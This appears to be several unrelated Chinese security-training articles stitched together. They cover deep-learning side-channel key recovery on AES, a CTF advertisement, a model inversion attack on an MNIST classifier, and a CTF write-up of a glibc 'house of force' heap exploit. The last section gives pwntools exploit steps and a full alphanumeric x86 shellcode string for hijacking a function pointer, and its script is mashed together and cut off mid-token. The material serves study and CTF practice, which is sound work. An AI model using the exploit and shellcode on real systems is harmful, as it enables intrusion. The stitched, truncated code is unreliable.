侧信道攻击的过程可以简单概括为:攻击者使用示波器采集密码算法在目标设备上运行时的计时、功耗、电磁辐射、声音、热量、射频、故障输出等旁路泄露信息,接着分析这些信息和密码设备执行过程中的中间运算、中间状态的关系(这些中间运算、中间状态依赖于密码算法的密钥),进而根据分析结果恢复出密钥。攻击者采集的旁路泄露信息又被称作能量轨迹(power trace),在分析power trace和中间运算、中间状态的关系之前,需要对power trace进行预处理(见下文)。
另外,在下文会提到“攻击点”的概念,这里先做说明。
攻击的目标是恢复key字节的值,但是在实际中除非你捕获到了加载到内存中的key,否则而基本不会直接捕获到key。事实上,我们预测的是称为攻击点的值,这些攻击点也叫做敏感变量。攻击点是内存中的点,在这个点上,计算会导致内存出现变化(比如更改了一个寄存器的值,或者设置了值等),这些变化与我们尝试恢复的key有关系(比如异或)。更改内存值会导致功耗发生变化,这意味着这些更改可以从功耗轨迹中发现。
如下图所示
左图是AES中所有的攻击点(攻击点由黄/红点表示),然而在实际应用上,他们大多数是不可逆的,可逆的意思是说可以从猜测值推测出key字节的值。只有红点是直接可逆的,他们都位于第一轮,示意图如上图的右图所示。
可以看到组成包括key、sub_bytes_in,sub_bytes_out。
其中key是我们希望通过推理得到的,sub_bytes_in是当key和明文一起存储后的目标字节的值,sub_bytes_out是使用AES盒替换另一个值之后的字节值。
对于我们要攻击的算法来说,sub_bytes_in,sub_bytes_out都很容易受到攻击。
#深度学习
深度学习(英语:deep learning)是机器学习的分支,是一种以人工神经网络为架构,对资料进行表征学习的算法。
深度学习是机器学习中一种基于对数据进行表征学习的算法。观测值(例如一幅图像)可以使用多种方式来表示,如每个像素强度值的向量,或者更抽象地表示成一系列边、特定形状的区域等。而使用某些特定的表示方法更容易从实例中学习任务(例如,人脸识别或面部表情识别)。深度学习的好处是用非监督式或半监督式的特征学习和分层特征提取高效算法来替代手工获取特征
为什么使用深度学习来做SCA?
第一点最显然的原因,也是其他领域也会使用深度学习的原因,就是深度学习可以直接从原始功耗或trace中学习,而不是依赖人工设计的特征和假设,这使得攻击更易设计,减少了对特定领域专业知识的需求。第二点是因为模型可以直接学习预测目标中间值,而不需要使用近似模型(相当于模板攻击而言),这也简化了攻击设计。第三点是因为使用深度学习可以进行概率攻击(利用softmax),因为模型在多个power trace上输出的分数可以被直接排序得到可能性最大的字节值。
#构建数据集
首先我们需要构建数据集,之后才能在其上训练模型。这一步的关键就是收集power trace
怎么收集power trace呢?
流程如下所示
1.启动示波器开始捕获
2.触发硬件上的加密过程(选定的或者是随机的key和明文进行加密)
3.在加密结束时,停止捕获并从示波器收集power trace。我们构造数据集时会将trace及对应的标签(使用的key和明文)都加入进去
我们使用示波器来捕获,所需的硬件设备示意图如下所示
红板中间放的是待分析的芯片,下面是示波器的probe,两端分别连接到通信接口和芯片,示波器的捕获的什么样子呢?
在示波器每次捕获之后,可以得到一组与下图类似的power trace
上图显示了没有受到保护的AES实际实现时的power trace,这种情况下很容易就可以进行SCA,因为我们可以清楚地看到10轮AES(上图已经标注出来了)
然后需要将power trace转为深度学习可用的数据集,这里涉及到3个操作:
1.数据处理。我们将power trace缩放到[-1,1],如果不这么做,大多数模型是不会收敛的
2.计算攻击点。对于每条轨迹,我们预先计算期望的_sub_bytesin 和_sub_bytesout 值。然后执行矩阵转置,以确保数据的格式是[ byte _ id ][ example _ id],因为我们希望能在对密钥的单字节攻击时可以通过byte_id获取数值。然后还需要对每个字节值进行分类编码(categorical encoding),因为模型的输出是256个潜在值上的softmax。
3.将数据打包成分片(shard)。分片中包含给定key value的所有样本。这可以让我们调整每个key需要多少样本,并确保在训练和测试时使用不同的key。
数据集有了之后我们就可以开始训练了
#训练模型
训练的目的是为了使用先前收集的trace建立模型。传统的SCA都会使用模板攻击等方式学习这些模式。模板攻击是使用训练数据执行多元统计分析,创建一个被称为汉明加权模型(Hamming Weight Power Model)的近似泄露模型(leakage model)。模板攻击可以类比于CV领域中旧的视觉算法,依赖于人类精心设计的特征,而使用深度学习模型可以直接从原始数据中学习。
在训练模型之前,需要加载数据集
还要加载配置文件
配置文件内容如下
其中主要用于设置四项内容:
1.攻击目标。从device和algorithm看到,指定了要攻击的设备以及其上运行的算法。
2.攻击方式。从attack_points和attack_bytes可以看到.前文我们已经提到,AES 128的16字节密钥有3个攻击点,所以实际我们需要训练3*16=48个模型
3.攻击所需数据。从num_shards,num_traces_per_shard可以看到,一个shard包含给定的key的所有样本,因此shard的数量等于要使用的key的数量。num_traces_per_shard指的是给定的key使用多少不同的power trace。
4.攻击所需架构。包含模型的参数、优化器等。
本文使用的是带残差的CNN,即ResNet,但是有一些不同
1.由于我们处理的是时间序列,shape为(batch_size,trace_len,value),而不是图像(shape为(batch_size,width,height,channels)),所以使用的一维卷积
2.模型一开始用的是max pooling,这是因为之前采样的时候是过采样的,使用max pooling可以使模型更小,以便更快地收敛
3.使用了卷积增长函数的简化的stack(堆),其实每个stack就是将过滤器数量翻倍
dropout用于帮助泛化,之后是全连接层、激活层和BatchNormalization层,输出层是带有softmax激活的256输出的全连接层
网络的一般结构如下
残差块结构如下
从批归一化开始,在进行卷积之前通过激活层。正如前面提到的,我们这里用的是一维卷积,即Conv1D;其他的都和标准残差架构一样,不再另做说明。
模型搭建完成后,使用训练集进行训练即可。
#攻击
这一步,我们利用训练好的模型来恢复训练过程中没见过的key。
我们将深度学习应用于侧信道攻击的优势就是它可以根据trace数量可扩展地进行概率攻击,我们只需要累计模型的预测值就可以了,如下所示,累计的结果越大,则该值越有可能是对应字节的值。
为什么这么直接加起来就可以来了?因为我们之前在输出层用的是softmax,softmax就是用于将模型的输出转为概率分布,他们的和等于1,如下所示
现在还有一个问题,怎么评估侧信道攻击的效果呢(除了直接看是否恢复出了给定的key)
在本文中主要评估恢复给定key需要多少条trace,评估指标可以是:恢复key所需的最少trace是几条?平均需要几条trace才能恢复key?恢复所有key需要多少trace?以及通过攻击曲线(如下所示)来看累计成功率,我们以恢复16字节的key中的一个字节为例来看看。
我们画出攻击中的密钥恢复效率,实际就是打印攻击曲线
下面给出的累计成功率就是上图曲线下的面积。如果是完美的攻击,其曲线下面积应为1,这说明1个trace就可以恢复出全部的key,但是这基本不会发生,我们要做的是找到曲线最陡或者说曲线下面积最大的攻击,因为这种攻击的性能最好。
下面的代码用于计算并打印指标
从上图结果可以看到,使用1个trace可以恢复40%左右的key,为了恢复全部key,需要4个trace,累计成功率为83.79%
现在我们尝试恢复出AES的完整的key。
攻击前,还需要设置参数:攻击点可以设为sub_bytes_out;从攻击曲线的图中可以看到其实不需要10条trace,5条trace就足够了;此外还需要设置目标shard,一个shard就是一个不同的key,随意设置即可
我们运行16次字节恢复算法,一次可以恢复出一个key字节
运行得到的结果如下
可以看到基本预测正确。
#参考
1.https://baike.baidu.com/item/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86/468774?fromtitle=aes&fromid=5903&fr=aladdin&&
2.https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86
3.http://61.161.158.164:8085/KCMS/detail/detail.aspx?filename=1020088612.nh&dbcode=CMFD&dbname=CMFD2021&&
4.https://zh.wikipedia.org/zh-hans/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0
5.https://www.youtube.com/watch?v=Db8mj5KFz8E
6.https://docs.google.com/presentation/d/1l-TpGGuGu40TS4ecqPfzLqrzSQccwgu3BlsKMTyZbSk/edit
如果你在找免费CTF训练场,那么我推我自己
正文:
每周五固定节目又来了!倍受期待的《Weekly CTF》系列之<第二十五周|在错误中寻找答案>它在同一时间又见面了,这是一个免费的课程且每周有更新,大家可以多多关注。
关于这个实验的来历还是值得一说的。最开始,同事发来了这样一张图:
本运营当时的内心:
好家伙,就出个CTF题而已,怎么还整上成语(的变异版)了呢?就这种词语,在我们官网发发而已是可用的,外面的平台这么宣传程序自动就给屏蔽成**了,有的不仅发不出去还会被禁言,那么就损失了数十万人(夸张)看到我们的机会。本身实验还是免费的,这么好的资源不要浪费了。本着净化网络环境的责任心,正义的我自然是拒绝的。
然后就有了上升无数个层次的这一版:
出处没有截完整因为也敏感,不过我可以大声告诉你们是一位伟人,出自伟人在延安干部会上所作的报告——<改造我们的学习>。这就很符合我们作为业界领先(挺胸骄傲)的实践型学习平台的定位了,要有方法地学习,要理论和实际统一。报告中的一些内容可以说跟我们相当符合了,“粗枝大叶,夸夸其谈,满足于一知半解”伟人称这是一种极坏的作风,据我潜伏在网安群里的多年经验来看,我们中的很多人就是犯了这样一种错误,只想学习网络安全中最“炫酷”的那部分,上来就想渗透想直接到达终点线,而不是从最基础的部分开始。导致很多人只是掌握了一个工具的使用而完全不懂原理,不去了解底层是如何运行的,这种情况就是满足于一知半解,是走不长远
最后让我们回到主题,既然实验是CTF练习题,那么我在这里就不多给出提示了,解题的本身就是一种乐趣,善于从实验名和描述中寻找线索。期待你们的精彩表现,率先做出来的也可以自己发布writeup或者解题视频,万一被官方看上说不定有小惊喜奖励呢!
下周我们同一时间见!
链接直达:https://www.yijinglab.com/expc.do?ec=ECIDaf8e-a5e6-4228-baf3-31302a5b2296
扫码直达:
模型逆向攻击实战
#前言
AI在生活中已经无处不在了,不论是高铁、机场的人脸识别还是指纹支付、语音助手等,都内置了AI技术。随着一项技术逐渐发展成熟,其安全风险就需要被考虑了。可能大家谈到AI安全的时候,最熟悉的就是对抗样本攻击,其本质是通过修改输入样本,来欺骗模型做出误分类的结果,这其实是属于模型安全领域。
事实上在谈及AI安全的时候,还有一个细分领域就是隐私安全,比如怎么保护数据不被泄露和模型逆向攻击。模型逆向攻击可以从模型中恢复出训练数据,如果此方案应用于人脸识别模型,恢复出人脸来,其危害是非常大的。
本文将会介绍模型逆向攻击的原理及其实现,并在基于MNIST训练的得到的CNN模型上进行攻击,最后成功复现,恢复出0~9的数字图像。此外,在文中代码复现部分,还会给出作者在复现论文算法时的一些经验,希望可以给大家带来启发。
#区分
除了模型逆向攻击以外,还有种攻击手段叫做模型提取攻击,看起来很相近,却是完全不同的两类攻击类型。
模型提取攻击是攻击者希望可以在本地恢复出目标模型,也就是说其攻击目的是窃取模型,我们知道大公司训练模型花了很大的资源的,不论是数据标注的人力成本还是训练模型花费的算力成本,大公司训练模型然后通过开放API查询接口,通过提供MLaaS来赚钱,如果攻击者能够窃取其模型,就是侵犯了其知识产权,影响其正常业务。攻击的示意图如下所示:
而模型逆向攻击是攻击者希望在不知道训练数据的情况下,通过推理得到训练数据,也就是说其攻击目的是为了得到隐私数据,可见两者区别是非常大的。
模型逆向攻击的效果如下所示:
这是Fredrikson等人做的实验结果,针对人脸识别系统,从其中恢复出训练数据集里的人人脸。上图中右边的图是通过攻击得到的人脸,右边的图是训练集中原来的人脸,可以看到,尽管存在一定差异,但是基本一致,说明该方案是可行的。我们就以Fredrikson等人为例,在理解了模型逆向攻击的原理后,根据论文中给出的算法进行复现,并针对MNIST数据集进行攻击。
#原理
我们要恢复的是训练集样本,而样本都是图像,图像是由像素组成的,其本质是由不同的像素强度组合起来得到的,所以我们要通过攻击得到训练集中的图像,本质上是要逆向的特征是构成图像的像素强度的完整向量,每个强度对应于 [0, 1] 范围内的浮点值。
我们假设攻击者知道他试图推断的向量中任何像素的确切值。假设具有n个分量和m个类别的特征向量,我们可以将分类器建模为以下函数:
我们知道模型的输出是一个概率值向量,其中第 i 个分量对应于特征向量属于第 i 类的概率。我们将输出的第i个分量记作:
我们使用梯度下降来最小化涉及f~的损失函数,以进行模型逆向攻击。梯度下降通过迭代地将候选解向候选解的梯度的负值进行变换,来找到可微函数的局部最小值。攻击算法如下所示:
首先根据面部识别模型定义一个损失函数c和一个特定于具体情况的函数AuxTerm,它会把任何可用的辅助信息添加到成本函数中,比如当我们在对面部去模糊时就会将其实例化。
接着使用大小为λ的梯度步长对最多α次迭代应用梯度下降。在梯度下降的每一步之后,得到的特征向量被提供给一个后处理函数 Process,它可以根据攻击的需要执行各种图像处理,例如去噪和锐化。
如果候选者的损失函数在β次迭代中未能提高,或者成本至少与γ一样大,则下降终止并返回最佳候选者,此时就得到通过模型逆向攻击恢复出的训练集样本。
该方案要求可以计算得到梯度,在我们下一部分复现的时候,对于梯度消失的情况我们的攻击就失效了。
#模型逆向攻击实战
##搭建模型
我们搭建一个标准的CNN模型:
并进行训练:
##模型逆向代码实现
前面说过,我们的代码是基于《Model Inversion Attacks that Exploit Confidence Information and Basic Countermeasures》实现的,文中提出的算法是针对人脸识别模型进行攻击的,但是对于会给出梯度的其他分类器模型也是可行的,我们就会在实现论文提出的算法后将其应用于MNIST数据集。
MIFace类中关键的方法是infer,其需要接受初始化样本,如果不指定则默认用全零的数组作为初始输入,代码如下:
上面代码中很多都是用于处理数据格式、转换等问题的,关键的部分在红圈里面:
其对应的就是我们在上一部分介绍的论文给出的算法实现:
如果没有论文复现经验的话,看到这里大概已经清楚论文给出的算法和实际实现的算法还是有一定出入的。最明显的区别是论文会抽象出最本质的算法思想,而具体编程语言细节、数据处理细节并不关心,自己在复现的时候就需要注意这些细节;其次,可能论文要处理的问题和我们复现者要处理的问题不同,所以在理解清楚核心算法后自己在实现时需要结合实际情况,不应该全部照搬。
以损失函数的定义为例(第2行),论文给出的损失函数还有一项是AUXTERM(x),根据论文介绍,这是一个case-specific的函数,也就是说在不同case下,具体实现是不同的,它会把可用的信息加入成本函数中,辅助攻击,但是作者在做人脸去模糊的时候才给出了该函数的一个实例。此外,文中也说明了,如果没有辅助信息可用,则应该对所有x,直接定义AUXTERM(x)=0。因此,我们在实现的时候,可以直接略去这一项。
接下来应用MIFace执行攻击
我们的攻击目标是希望恢复出训练集中的样本,我们知道MNIST数据集中共有10类,从0到9,我们希望每种类别都可以恢复出来
##攻击
不同的初始设置也会对攻击结果有影响,我们可以分别实验一下。
以全白的图像为初始样本开始发动攻击:
从上图的结果可以看到,可以看到在全白的图像上出现了gradient vanish的问题(即梯度消失问题),所以攻击是失败的。
再尝试以全黑的图像作为初始化样本:
有了前面的教训,我们这次先来打印梯度,确保没有梯度消失的情况:
然后发动攻击:
把结果可视化:
上面就是模型逆向攻击得到的图片,其实对于人类来说并没有明显的数字的特征。
那么我们不要取全黑,也不要全白,用居中的灰图作为初始样本:
同样先检查其梯度,确保没有梯度消失问题:
接下来发动攻击:
查看模型推理结果:
从上图的结果可以看到,从左到右,从上到下,隐约有0~4,5~9的轮廓了,说明攻击还是可行的。
我们再来看看以随机的图像作为初始样本会怎样:
首先检查其梯度,确保存在:
发动攻击:
可视化结果:
这次推理得到的结果也比较差,几乎看不出来0~9的样子。
全黑、全白、居中的灰图以及随机生成的样本都用作初始化了,其中灰图比较好。那么有没有更好的办法呢?
回顾下模型逆向攻击的假设,攻击者希望推理出训练集中的样本,但是他是知道测试集的样本的,我们前面的几次攻击都没有利用这一先验知识。那么我们可以考虑将测试集样本求个平均,然后作为模型逆向攻击的初始样本:
确保梯度存在:
发动攻击:
可视化模型逆向攻击的结果:
每张图片基本都可以看到对应类别数字的轮廓了,说明模型逆向攻击成功了。
通过这五组对比实验,给我们的启发是在进行攻击时,要时刻注意攻击的前提、场景以及对攻击者能力的假设,并利用好先验知识,这样能更好地实施攻击。
#参考
1.Model Inversion Attacks that Exploit Confidence Information and Basic Countermeasures
2.Algorithms that remember: model inversion attacks and data protection law
3.Improved Techniques for Model Inversion Attacks
4.Stealing Machine Learning Models via Prediction APIs
5.Model Extraction Attacks and Defenses on Cloud-Based Machine Learning Models
6.https://github.com/google-research/cryptanalytic-model-extraction
7.https://github.com/cake-lab/datafree-model-extraction
8.https://github.com/ftramer/Steal-ML
字符串shellcode在house of force中的运用
实验环境
https://www.yijinglab.com/cour.do?w=1&c=CCIDb18d-7cf9-4ba4-b75e-ed7aff569e3f背景介绍
1、 House of force是利用早期glibc库进行堆分配时存在的缺陷,从而对内存进行任意写的攻击方式。当初次申请堆块时,程序会映射一块较大的chunk作为top chunk,之后再进行申请时如果堆块较小,将从这个top chunk切分出合适的块,剩下的部分形成新的top chunk。而house of force就是利用了形成新top chunk时简单将原地址加上切分大小的缺陷,使得该top chunk被移动到任意位置,从而在下一次malloc时产生任意写的问题。
要利用这一漏洞,需要程序存在堆溢出问题,能够覆写top chunk的size段。同时,还要求能确定目标地址与堆地址的偏移量,以便于top chunk能移动至目标位置。
2、 字符串shellcode指的是由可见字符构成的shellcode。举例而言,字母‘P’对应的十六进制为0x50,翻译成汇编指令为push %rax。可以使用alpha3等工具生成自定义shellcode。
题目分析
程序只有二进制文件,这里为了讲解方便,编译时保留了调试信息。首先查看保护机制:
32位程序,存在可读可写可执行段,代码段固定加载到0x8048000,不能修改got表。
执行程序,大致观察程序流程:
程序首先要求用户输入name,然后会返回输出name相关信息。进入循环,当用户输入S时允许进一步产生三次输入,当用户输入L时程序退出。除一开始的name以外,程序并不会输出用户之前输入过的信息。
接下来IDA查看函数入口:
其中prepare函数如下:
其中welcome函数用于输出treehole的banner。anymore函数用于读入一个字符,判断是否需要退出程序。readstr函数如下:
注意到该函数存在两个注意点:红圈内a2用于给定最大输入字符个数,但其类型为unsigned int,因此当传入-1时能引发过量写入。蓝圈内对字符大小做了限定,只允许输入ASCII码在32~126内的可见字符。
confusename函数定义如下:
其对指定的字符串做了一系列异或运算。
接下来的strncpy将ninput开始的0x50个字符拷贝到name处。使用ojbdump可以看出,name和ninput相邻,当name填满后printf会继续向后输出ninput的值,该值恰是堆上某chunk的地址。因此当输入的name超过50字节后,程序会泄露堆地址。
main函数使用的ptr是指向anymore函数的指针,该指针在bss段,可以在接下来的步骤中被修改,从而劫持函数控制流。
主要输入函数pourout代码如下:
首先读入一个int整数(readint函数简单使用atoi,此处略去不表),然后申请这个数字+4(4用于存放后面输入的一个int)大小的块,并向这个块写入该大小指定的字符。然后读入一个int,并将它紧靠用户输入的字符串放入块中。
漏洞利用点就在于如果readint读入一个负数(如-1),将会申请到一个最小块,然后允许用户过量写入(前文提到,readstr的长度判断存在unsigned int的问题)。readint此处实现了对可见字符这一限定的绕过,从而等价于允许用户输入最多4字节的任意字符。
那么题目的思路便可以总结为:
1、 调整top chunk到ptr附近
2、 通过申请块时的readint,修改ptr为目标代码指针
3、 利用RWX的漏洞,事先写入字符串shellcode,在第2步中使用
如何调整top chunk呢?根据32位程序chunk的8字节对齐原则,只需要利用程序存在的-1任意写问题,即可产生堆溢出问题,修改top chunk的prev_size段,并使用readint来输入0xfffffff(即-1),程序如下:
io.sendline('S')io.sendlineafter('wanna say?', '-1')io.sendlineafter('secrets...','A'*12)io.sendlineafter('do you like?','-1')
则达到的效果为:
红圈内为用户申请到的chunk,可见其后的top chunk的size被修改为0xffffffff,则下一次申请时可以绕过对chunk大小的验证。
这里为什么一定要绕过这一验证呢?因为ptr位于bss段,其地址低于top chunk。当malloc一个块时,如果使用top chunk,会首先检查其大小是否合适,然后将top chunk的地址加上块的大小,来实现top chunk的移动。如果想让top chunk重定向到小地址,需要malloc一个负数,而负数在unsigned int翻译时会成为大正数,不再使用top chunk切分,而是直接在libc加载地址前使用mmap映射。如果将top chunk修改为0xffffffff,能使得chunk的分配采用切分top chunk的方式,从而将top chunk向低地址移动。
接下来可以再申请块,将大小设定为目标地址减去top chunk地址,实现top chunk的移动。这里可以将目标地址设定为ptr-0x10,则可以使得chunk head后直接readint输入shellcode地址即可实现修改ptr,劫持控制流。
# move top chunk to .bss sectionfunc_ptr = 0x804b090 -0x10target_addr = func_ptr - 4current_addr = heap_base + 0x278io.sendline('S')io.sendlineafter('wanna say?', str(target_addr-current_addr))io.sendlineafter('secrets...','B'*12)io.sendlineafter('do you like?','-1')
因此需要准备好shellcode。这里可以从网上搜索到32位程序的一条字符串shellcode:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
直接正常输入即可。这里有两种放置方式,一种是放到ptr前,然后在当次填充中即可顺便修改ptr;一种是放到正常状态的堆里,然后再用一次malloc修改ptr。由于这里ptr在bss段的偏移是0x90,而shellcode长度147字节超过了0x90,所以采用了第一种方法。那么在第一次修改top chunk大小前,先填充这个shellcode即可。这也是之前的使用0x278的原因。
可见字符串shellcode如上所示。调整ptr到0x8eb61d0即可。(即heap_base+0x1d0)
运行脚本,最终攻击结果如下:
脚本完整代码如下。shellcode和调整top chunk的方法不唯一,这里只是列举其中一种情况。
from pwn import *from pwn import u32 io = process('./a.out')context.terminal = ['tmux','splitw','-h']# context.log_level = 'debug'# gdb.attach(io, 'b main')def leak_heap_base(): name = b'A'*100 io.sendlineafter('tell me your name:',name) raw = io.recvuntil('Enjoy') rawbase = raw[raw.fin
'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA'shellcode_func = heap_base + 0x1d0io.sendline('')io.sendline('S')io.sendlineafter('wanna say?', str(len(shellcode)))io.sendlineafter('secrets...',shel
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

